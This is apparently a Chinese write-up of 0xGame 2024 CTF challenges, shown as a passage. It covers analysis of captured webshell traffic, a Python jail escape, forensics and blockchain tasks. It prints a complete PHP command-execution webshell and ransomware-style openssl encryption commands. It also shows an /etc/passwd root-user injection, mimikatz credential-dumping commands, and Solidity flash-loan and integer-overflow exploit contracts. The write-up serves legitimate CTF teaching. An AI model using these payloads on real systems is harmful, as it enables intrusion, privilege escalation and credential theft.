xlCJxRWAREVUBoAVxJJExZpBwEWfwoQGxUZaD4VRRMSGUZFQhEPbnhiQlgUVBdBU0BOTFk4bhkSFUJFFBVFVkpcBU1GVkgZFl41L2McXj44GUZFQhVEGRIRCTJ+YkUOElMJDAwdB1FAHVNVHRlFF1luLDJLFUoZUV0QTQUFTAg/M0ZFQhUZGVdZEQAUXAMTGh0sEAdkIHt6HUUATFAGFBsZBwsGFUUZFncUBlEdQkNdSQMLRRlEHWJUBhF+W0waEkJrb0IVRBkSFUJFEFMVEw8ZFgoSUAoRFlZORRNHQhoJNGxFQhVEGRIVQkFfYi9kEgRGKzd5KAI/P0JFFBVFExIZDwNCHQ1KbUcHFltAF1BXEUIDEhxNGUk4aEUUFUUTEhlGRUIVRE5aXA4AFB1EE1RcCQNKEQJJGxxCHjk/RRMSGUZFQhVEGRIVQkUUFUFYZXMxRUwIRF9AUAMBHBEDQx4ZV1VQAU0CPz9CRRQVRRMSGUZFQhUZNDgVQkUUFUUTEkRrb0IVRBkSFUJFdEUGX11KA01GUxQQCThoRRQVRU4SXAoWBxUfNDgVQkUUFUUTEh0NMihiRAQSBVloPhVFExIZRkVCERZcQUAOEW8XFkdTTRMWQGhEBBJXAxZRA1FsV1cFCgZQTBtUVAsJFhxePjgZRkVCFUQZEhEQAEdACUdpGwsWBRc5GQ8VAARHUFMHbVwIBg1RAREQWw0LURUKVRJJFAoBagtJV1tNFVVGFkdaSxNKEV0BVV5qBx1RVkpWSlwFSgdNAVoSXBFFVUMEWl5YBAkHF00CPz9CRRQVRRMSGUIOB0xEBBIRPTZxZjZ6fXc9QgkSOQI/P0JFFBVFExIZAwYKWkRcXFYQHERBTVlBVgg6B1sHVlZQSkFGUBZGXk1PTFk4bhkSFUJFFBVFQVdNExcMDmkzEhVCRRQVRRM/M0ZFQhUZNDgVQkUUERdWQUwKETkXF01TQRcWFmhFDhJbBxYHA1BmV1sBClBQTRFBTAUGB0YXGxsOb28UFUUTFksDFhdZEGIQWBECFmhFDhJbBxYHA1BmV1sBClBQTVRXTTUEBFA3TUAdRg5jfzIaGwJrb0IVRBlXVgoKFFALUEBAFhFKXxdWXGoHC1daAVYaHRQAEUAITRscWWg+SGg5PzNsAxdbB01bWgxFcVsGQUtJEk1GUQVNUxxoHj4VRRMSHQ0AGwhGXAYAB1YGDANWUAwCXFAABhsJFWhsUloXGxZQW1VZEQ0FQUEQCVFbTRdWWBIESw5AUBkeS0VPP0UTEhlvQQZUEFhpEQs4FAhFF1ZYEgQ5EQ1kbBEJAE1uQVoZCEBUV2hfGTgVQkUUSG8TEhlGQQBGWRtQVBEAAgE6ERwbAwsBWgBcEA5obBBUA0dXS1tBAEZMHVZUFgQaF0caCTNGRUIVFlxGQBALFBEEVUZcFF5oSG4dUVgGWBZsV2JVdVQ0BXwPaARtJyN2ZDB9Z2sKHTpnMXNRViUNQ2BWYQNjLgkEew5rUVYlDUNWVmEDYy4JBFYsc0RtJAFsY1RLA1ohHRRsM2tRfAs/X1Q9eg8bXUEBWAAEUFQRAAIBOldXWgkBBx1AWl9RS14QRQRHWgRENyZaEmhncyA0BWcifwNdIDQLDBNYenc2AXxjDlZkAVQrIQwTWHp3GAF8Yw5WZAARBg8NEm8DUTopB2MSUXUADj8hDVkbCRESBEBdWFFTSgNTVmoAXFFaBgAcERVSRlFPXm8/CVhbW0pBV1gBHxZJBxEKHF8=" ;$d = Decrypt ($shell );print ($d );?>
运行结果即执行的命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 @error_reporting (0 ); function getSafeStr ($str ) { $s1 = iconv ('utf-8' ,'gbk//IGNORE' ,$str ); $s0 = iconv ('gbk' ,'utf-8//IGNORE' ,$s1 ); if ($s0 == $str ){ return $s0 ; }else { return iconv ('gbk' ,'utf-8//IGNORE' ,$str ); } } function main ($cmd ,$path ) { @set_time_limit (0 ); @ignore_user_abort (1 ); @ini_set ('max_execution_time' , 0 ); $result = array (); $PadtJn = @ini_get ('disable_functions' ); if (! empty ($PadtJn )) { $PadtJn = preg_replace ('/[, ]+/' , ',' , $PadtJn ); $PadtJn = explode (',' , $PadtJn ); $PadtJn = array_map ('trim' , $PadtJn ); } else { $PadtJn = array (); } $c = $cmd ; if (FALSE !== strpos (strtolower (PHP_OS), 'win' )) { $c = $c . " 2>&1\n" ; } $JueQDBH = 'is_callable' ; $Bvce = 'in_array' ; if ($JueQDBH ('system' ) and ! $Bvce ('system' , $PadtJn )) { ob_start (); system ($c ); $kWJW = ob_get_contents (); ob_end_clean (); } else if ($JueQDBH ('proc_open' ) and ! $Bvce ('proc_open' , $PadtJn )) { $handle = proc_open ($c , array ( array ( 'pipe' , 'r' ), array ( 'pipe' , 'w' ), array ( 'pipe' , 'w' ) ), $pipes ); $kWJW = NULL ; while (! feof ($pipes [1 ])) { $kWJW .= fread ($pipes [1 ], 1024 ); } @proc_close ($handle ); } else if ($JueQDBH ('passthru' ) and ! $Bvce ('passthru' , $PadtJn )) { ob_start (); passthru ($c ); $kWJW = ob_get_contents (); ob_end_clean (); } else if ($JueQDBH ('shell_exec' ) and ! $Bvce ('shell_exec' , $PadtJn )) { $kWJW = shell_exec ($c ); } else if ($JueQDBH ('exec' ) and ! $Bvce ('exec' , $PadtJn )) { $kWJW = array (); exec ($c , $kWJW ); $kWJW = join (chr (10 ), $kWJW ) . chr (10 ); } else if ($JueQDBH ('exec' ) and ! $Bvce ('popen' , $PadtJn )) { $fp = popen ($c , 'r' ); $kWJW = NULL ; if (is_resource ($fp )) { while (! feof ($fp )) { $kWJW .= fread ($fp , 1024 ); } } @pclose ($fp ); } else { $kWJW = 0 ; $result ["status" ] = base64_encode ("fail" ); $result ["msg" ] = base64_encode ("none of proc_open/passthru/shell_exec/exec/exec is available" ); $key = $_SESSION ['k' ]; echo encrypt (json_encode ($result )); return ; } $result ["status" ] = base64_encode ("success" ); $result ["msg" ] = base64_encode (getSafeStr ($kWJW )); echo encrypt (json_encode ($result )); } function Encrypt ($data ) { $key ="e45e329feb5d925b" ; for ($i =0 ;$i <strlen ($data );$i ++) { $data [$i ] = $data [$i ]^$key [$i +1 &15 ]; } $bs ="base64_" ."encode" ; $after =$bs ($data ."" ); return $after ; } $cmd ="Y2QgL2QgIkQ6XEFBQUNURlxXRUJccGhwU3R1ZHlfNjRccGhwc3R1ZHlfcHJvXFdXV1x1cGxvYWRcIiZkaXI=" ;$cmd =base64_decode ($cmd );$path ="RDovQUFBQ1RGL1dFQi9waHBTdHVkeV82NC9waHBzdHVkeV9wcm8vV1dXL3VwbG9hZC8=" ;$path =base64_decode ($path );main ($cmd ,$path );
可以看到主要的操作是先将$cmd
和$path
进行base64_decode
,之后执行并返回 先json_encode
后Encrypt
的$result
,$result
中有两个信息,base64_encode
后的status
和msg
,其中msg
是执行系统命令后的回显结果。于是可以先分析出第三段进行的操作:
1 cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\"&dir
结合流量的响应包可以分析出上述操作后的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php function Decrypt ($data ) { $key ="e45e329feb5d925b" ; $bs ="base64_" ."decode" ; $after =$bs ($data ."" ); for ($i =0 ;$i <strlen ($after );$i ++) { $after [$i ] = $after [$i ]^$key [$i +1 &15 ]; } return $after ; } $shell = "TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd9eghDQVwxLhN6M2NDdiAgfXo2B0BcAwQKejN3Rh4DPEZMIV5eSyIJC0QgVVhXASt3XCFfWFsACw9aMFVHWj5KWFwvVV5TUQMPWC8BVXs2PEx6NgMCdDMsVnE1Vnx2CydxeglLcGgzIyZjIWNRY1Izd20tcV1aICtSUTNrB20YPARtLXFdWi4rUlEzawdtUSdNV1RLam9XAQFRPHtBV1AjX3wqVlNRKQAARxFuC1kzVX9xNFxLdCIsUnkeeAd5GCAHfCZyS3QyChp4J3hVfCEkDGcgX2FpDyQFfCd4VXwhJFN8JnJHfTcKG3ggcAJ5GCQBeR92AXAlJBt4MFZFeiEkU3wmcgprIwkxZQ14VXwhJFN8JnJVcCUkF3kDCXl4CCRNeyYLRXY1XRp7HXhVeAggAngxclVwJSQFfCd4VXwhJFN8JnJVcCUkGHggWlVWUA1YVyJER1ohDRVxNVZVfCEkU3wmclVwJSQFfCd4VXwhJEx8KmAGSBMENV1PagVBCyRTfCZyVXAlJAV8J3hVfCYoQ3scd15LPAMNXAtwfHYLJFN8JnJVcCUkBXwneFV8ISRTfCF6VQwqDBMAUUxHAABXYnwhegJ3HxIbex5SQXsIDk55IVRLdyUhDl9SZR1bDi5eWRdpVFYPCit7J14PCEAY" ;$d = Decrypt ($shell );print ($d );
运行结果:
1 {"status":"c3VjY2Vzcw==","msg":"IOmpseWKqOWZqCBEIOS4reeahOWNt+aYryDmlrDliqDljbcNCiDljbfnmoTluo\/liJflj7fmmK8gNTYxOS00MUI4DQoNCiBEOlxBQUFDVEZcV0VCXHBocFN0dWR5XzY0XHBocHN0dWR5X3Byb1xXV1dcdXBsb2FkIOeahOebruW9lQ0KDQoyMDI0LzA5LzE3ICAyMToxMCAgICA8RElSPiAgICAgICAgICAuDQoyMDI0LzA5LzE3ICAyMTowOCAgICA8RElSPiAgICAgICAgICAuLg0KMjAyNC8wOS8xNyAgMjE6MTAgICAgICAgICAgICAgICAzMDcgc2hlbGwucGhwDQogICAgICAgICAgICAgICAxIOS4quaWh+S7tiAgICAgICAgICAgIDMwNyDlrZfoioINCiAgICAgICAgICAgICAgIDIg5Liq55uu5b2VIDI0NywyNzksNjkzLDgyNCDlj6\/nlKjlrZfoioINCg=="}
进行base64解码可以得到:
1 2 3 4 5 6 7 8 9 10 11 msg: 驱动器 D 中的卷是 新加卷 卷的序列号是 5619-41B8 D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload 的目录 2024/09/17 21:10 <DIR> . 2024/09/17 21:08 <DIR> .. 2024/09/17 21:10 307 shell.php 1 个文件 307 字节 2 个目录 247,279,693,824 可用字节
之后一段段分析即可,整段攻击过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\"&dir 驱动器 D 中的卷是 新加卷 卷的序列号是 5619-41B8 D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload 的目录 2024/09/17 21:10 <DIR> . 2024/09/17 21:08 <DIR> .. 2024/09/17 21:10 307 shell.php 1 个文件 307 字节 2 个目录 247,279,693,824 可用字节 cd /d " D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\"&cd ../cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&dir 驱动器 D 中的卷是 新加卷 卷的序列号是 5619-41B8 D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW 的目录 2024/09/17 21:08 <DIR> . 2024/09/07 18:30 <DIR> .. 2024/09/16 23:22 332 index.html 2024/09/17 20:21 75 unfinished_hello.php 2024/09/17 21:10 <DIR> upload 2024/09/17 11:07 1,202 upload.php 3 个文件 1,609 字节 3 个目录 247,279,693,824 可用字节 cd /d " D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&openssl versionWARNING: can't open config file: /usr/local/ssl/openssl.cnf OpenSSL 1.0.2p 14 Aug 2018 cd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&openssl enc -aes-128-cbc -in unfinished_hello.php -out secret.php -iv 114514 -K c4d038b4bed09fdb WARNING: can' t open config file: /usr/local/ssl/openssl.cnfcd /d "D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&del unfinished_hello.php cd /d " D:\AAACTF\WEB\phpStudy_64\phpstudy_pro\WWW\upload\..\"&echo "If you want to decrypt your file, give me a copy of your calculus homework. UwU" > readme.txt
可以看到是用openssl
对unfinished_hello.php
进行了文件加密,且删掉了原文件,只需要用openssl
解secret.php
即可拿到原文件:
1 openssl aes-128-cbc -d -in secret.php -out flag.php -iv 114514 -K c4d038b4bed09fdb
输出的flag.php
文件内容为:
1 2 3 4 5 <?php echo "Hello, ?>
Untouchable flag 题目附件为pyjail.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 import redef pyjail (): pattern = re.compile ("[a-zA-Z0-9]" ) while True : code = input (">" ) if re.findall(pattern,code): print ("Some characters in your code are banned." ) elif len (code) > 12 : print ("Your code is too long." ) else : eval (code)
可以看到禁用了所有字母和数字,并且对代码长度有所限制,必须不大于12
nc连上后题目还给了一个hint:the Python version is greater than 3.7.
,网上找找可以知道python3支持非ASCII字符,可以用unicode字符绕过第一个限制,并且还可以找到从Python 3.7开始引入了breakpoint()函数,于是可以绕过第二个限制进行rce:
1 2 3 4 5 6 7 from pwn import *p = remote("47.98.178.117" , 2222 ) code = "𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()" p.sendline(code) p.interactive()
拿到shell后直接读flag发现不行,ls- l
查看文件权限可以看到flag文件只有root可读,需要寻找提权的方法
预期解是/etc/passwd提权,可以看到环境中该文件所有用户可读可写,直接写入一个拥有root权限的用户即可
办法有很多,这里拿openssl举例:
1 2 3 openssl passwd -1 -salt test z9nn8w $1$test $eicwC /tivElau/ii72ooo0
写入/etc/passwd再切换用户即可拿到root权限:
1 2 3 4 5 6 7 echo 'w8nn9z:$1$test$eicwC/tivElau/ii72ooo0:0:0:root:/root:/bin/bash' >> /etc/passwdsu w8nn9z z9nn8w cat flag0xGame{PyJ@i1_w1Th_P@sswd_3l3Vat3_pr1v1l3g3}
OSINT 互联网的一角* 访问题目页面,摁F12就可以看到前端有注释
这里的注释指的是要求查询CNAME记录,后面上的hint中也给出了。查询CNAME记录的方法其实有很多,ping、nslookup、dig等等都可以,最简单的就是这里直接ping一下。
对于.github.io,如果有经验的话一眼就知道这是github pages。如果不知道,查找一下也很快能得知,这是github上一个叫做oxg4me2024的用户搭建的页面,去github上搜索一下这个用户。
一路顺藤摸瓜找进去,可以找到flag.txt
但是flag.txt的内容并不是flag,这里点击右上角的History,查询这个文件的修改历史即可看到flag
给我干哪来了,这还是国内吗??* 图寻题,就是要求找出图片中的地方
其实不难看出来,底下还有个google的logo没能删掉,这个地方其实可以在google map上找到原图。将图片放大,可以看到远处建筑物上标着的super st bernard,在google map上一搜就有。位置差不多在45.90°N,7.19°E左右。
可以查看实景
国家是瑞士不用多说,剩下的可以在维基百科 上找到,改成英文即可
0xGame{Switzerland_Valais_Entremont_Bourg-Saint-Pierre}
Blockchain 肘,上链!* 出题时用的是github上的solidctf 项目,所以nc那边传完一次就断就不要拷打我了o(╥﹏╥)o
先nc创建账户
拿给的账号去水龙头上接一下水
部署题目合约
打开metamask(一个浏览器插件),如下图连接到RPC,其中链ID随便填一个它就会告诉你正确的链ID
切换到该网络,拿自己的账户也去水龙头上接一下水
获取一下题目合约
打开remix ,这里新建一个文件,把题目合约复制过去
选择相应的版本,编译合约
Environment中选择Injected Provider - MetaMask,注意metamask的小窗口要点开看一下是否连接成功
将前面nc时给的合约地址复制过来到At Address里面,点击At Address
题目的合约代码很简单,要求传的值需要与”Hello0xBlockchain”的keccak256哈希值相同,这里用web3py计算一下。
1 2 3 4 5 6 from web3 import Web3 s=b"Hello0xBlockchain" w3 = Web3() hash_bytes = w3.keccak(s) hash_hex = hash_bytes.hex() print(hash_hex)
得到的结果复制到sign里面,前面记得加上0x,然后点击sign,中间有个交易的对话框,确认一下
点击isSolved,看到值已经返回了true
回到nc那边,get flag
theft 通过在execute中执行deposit,来替代还款,从而可以达到借了就还但是自己的余额越来越多
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; interface FlashLoan { function deposit() external payable; function withdraw() external; function flashLoan(uint256 amount) external; } contract Exp { FlashLoan public FL; constructor(address _addr) { FL = FlashLoan(_addr); } function attack() external { for(int i = 0; i < 9; i++){ FL.flashLoan(100 ether); } FL.flashLoan(99 ether); } function execute() external payable { FL.deposit{value: msg.value}(); } }
先at address部署Setup.sol获取target地址,然后填入构造函数部署再调用attack即可
我哪来那么多臭钱??* 具体的部署等操作这里就不再赘述了,详见week1的wp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.0; contract Challenge { mapping(address => uint256) public balance; bool public solve; constructor() {} function Get() public { balance[msg.sender] = 50; } function Transfer(address to, uint256 amount) public { require(amount > 0, "Man!"); require(balance[msg.sender] > 0, "What can I say"); require(balance[msg.sender] - amount > 0, "Mamba out!"); require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself, who am i?"); balance[msg.sender] -= amount; balance[to] += amount; } function check() public { require(balance[msg.sender] == 114514); solve=true; } function isSolved() public view returns (bool) { return solve; } }
先来看合约代码。Get函数为初始化balance为50,check函数为检查余额是否为114514,当余额为114514时,isSolved函数返回true。
主要是Transfer函数,用于向某个地址转账,但这里做了一系列的限制。要求转账金额、转账前余额、转账后余额都大于0,另外要求当前发起转账的用户地址后两位为ef。
这里有两个考点,一个是整数溢出,我们可以注意到solidity版本为0.7.0,balance和amount的类型都为uint256,即数据大小在0~2**256之间。代码中有balance[msg.sender] - amount > 0的要求,但是如果amount > balance[msg.sender],那么会发生什么?显然值并不会变为负数,这里值会直接变成2**256 - amount + balance[msg.sender]。因此,我们只要使amount的值为2**256-114514+50即可。这里其实有些师傅是想复杂了。
另外一个考点其实是虚荣地址(vanity address),也就是后来给的hint中所指的。虚荣地址就是用户自己生成的具有某一特殊组合的地址,google一下其实不难找到有一个在线网站https://vanity-eth.tk/可以生成虚荣地址,如下图所示。
但其实自己或者让GPT帮忙搓一个脚本其实也不难(出题人问GPT一次就成功了)
1 2 3 4 5 6 7 8 9 10 11 12 from eth_account import Accountimport secretsdef find_address_ending_with_ef (): while True : private_key = '0x' + secrets.token_hex(32 ) account = Account.from_key(private_key) address = account.address if address.endswith('ef' ): return private_key, address private_key, address = find_address_ending_with_ef() print (f"Private Key: {private_key} " )print (f"Address: {address} " )
接下来导入私钥就可以用了。
先get
然后transact,to的地址随便填就行
再check,可以看到isSolved返回了true
拿到flag
Forensics 画画的baby 附件给了一个内存文件,本题直接用volatility2或volatility3都能完成
volatility2:
先找到内存的profile:
1 python2 vol.py -f painting.raw imageinfo
之后经过一些尝试,在查看进程的时候可以发现有一个mspaint.exe
的进程,查阅资料可以知道这是windows自带的一个画图软件:
1 2 3 4 python2 vol.py -f painting.raw --profile=Win10x64_19041 pslist ...... 0xffffe70970c0c340 mspaint.exe 5372 3912 7 0 1 0 2024-09-06 14:36:00 UTC+0000 ......
把对应的进程提取到当前目录下:
1 python2 vol.py -f painting.raw --profile=Win10x64_19041 memdump -p 3912 -D ./
改后缀为.data
,再用gimp打开调调宽高和位移就能看到当时的画:
volatility3:
操作其实都差不多,不过volatility3不需要指定windows的profile:
1 2 3 4 python vol.py -f painting.raw windows.pslist ...... 5372 3912 mspaint.exe 0xe70970c0c340 7 - 1 False 2024-09-06 14:36:00.000000 N/A Disabled ......
再把进程提取到当前目录下:
1 python vol.py -f painting.raw windows.memmap --pid 5372 --dump
gimp调位移和宽高:
实际上,这几题如果用取证大师软件自动取证的话会方便许多,但出题人的预期是希望大家也能了解了解如何手动去进行这些取证,因此下面会放取证大师和手动取证两种做法。当然手动取证除了下面给出的方法以外还有很多,欢迎师傅们前来探讨。
FBI Open The Door!! 1*
实际上,这几题如果用取证大师软件自动取证的话会方便许多,但出题人的预期是希望大家也能了解了解如何手动去进行这些取证,因此下面会放取证大师和手动取证两种做法。当然手动取证除了下面给出的方法以外还有很多,欢迎师傅们前来探讨。
将检材下载下来求一下SHA256校验值即可
0xGame{6d393b09ac01accf27bce07a9c07f5721b9e1e1fd5de1cc8cc1a2581a43e68f5}
FBI Open The Door!! 2*
法一 取证大师一把梭
0xGame{F1sh1ng-s3v3r}
法二 使用FTK Imager打开:file–>Add Evidence Item–>Image File–>Browse选择文件–>Finish
在C:\Windows\System32\winevt\Logs路径下找到系统日志system.evtx
打开日志文件,查看事件ID为6011的日志,发现有一条修改主机名的记录,得到主机名
0xGame{F1sh1ng-s3v3r}
FBI Open The Door!! 3*
法一 取证大师可以直接梭出用户St5rr的NTLM hash
cmd5上查一下就有
0xGame{zaq!xsw@}
法二 用ftk,在C:\Windows\System32\config下找到SYSTEM和SAM两个文件,导出
接下来使用一个叫作mimikatz 的工具提取NTLM Hash。
运行的时候记得以管理员权限运行,然后依次运行下面两行神奇命令就能得到用户的NTLM Hash。
1 2 privilege::debug lsadump::sam /sam:SAM /system:SYSTEM
查cmd5
0xGame{zaq!xsw@}
FBI Open The Door!! 4*
法一 取证大师一把梭
0xGame{2024-10-23 14:50:40}
法二 用ftk,在C:\Windows\System32\config下找到SOFTWARE,导出
用kali自带的chntpw查看,用下面的两条奇妙命令即可
1 2 chntpw -e SOFTWARE ls Microsoft\Windows NT\CurrentVersion
可以看到InstallDate,是以时间戳的形式表示的,使用在线工具 进行转换,得到系统安装时间
0xGame{2024-10-23 14:50:40}
FBI Open The Door!! 5*
可以在C:\Windows\Temp路径下找到gophish文件夹,将其导出。取证大师中的话可以更快找到这个路径。
在接下来的步骤前,建议去了解一下gophish
文件夹中有个gophish.db,用navicat看一下
在smtp表中找到password字段,这就是smtp授权码
0xGame{wpdqlnyvetqyddce}
FBI Open The Door!! 6*
接上一题,查看users表中的hash字段,这就是登录密码的哈希
网上搜索一下可以知道,这是bcrypt hash,明文肯定是弱口令,用hashcat或者jtr爆破一下就行,下面用jtr。将哈希值存成一个名为1.hash的文件,字典使用rockyou.txt。
0xGame{qwertyuiop}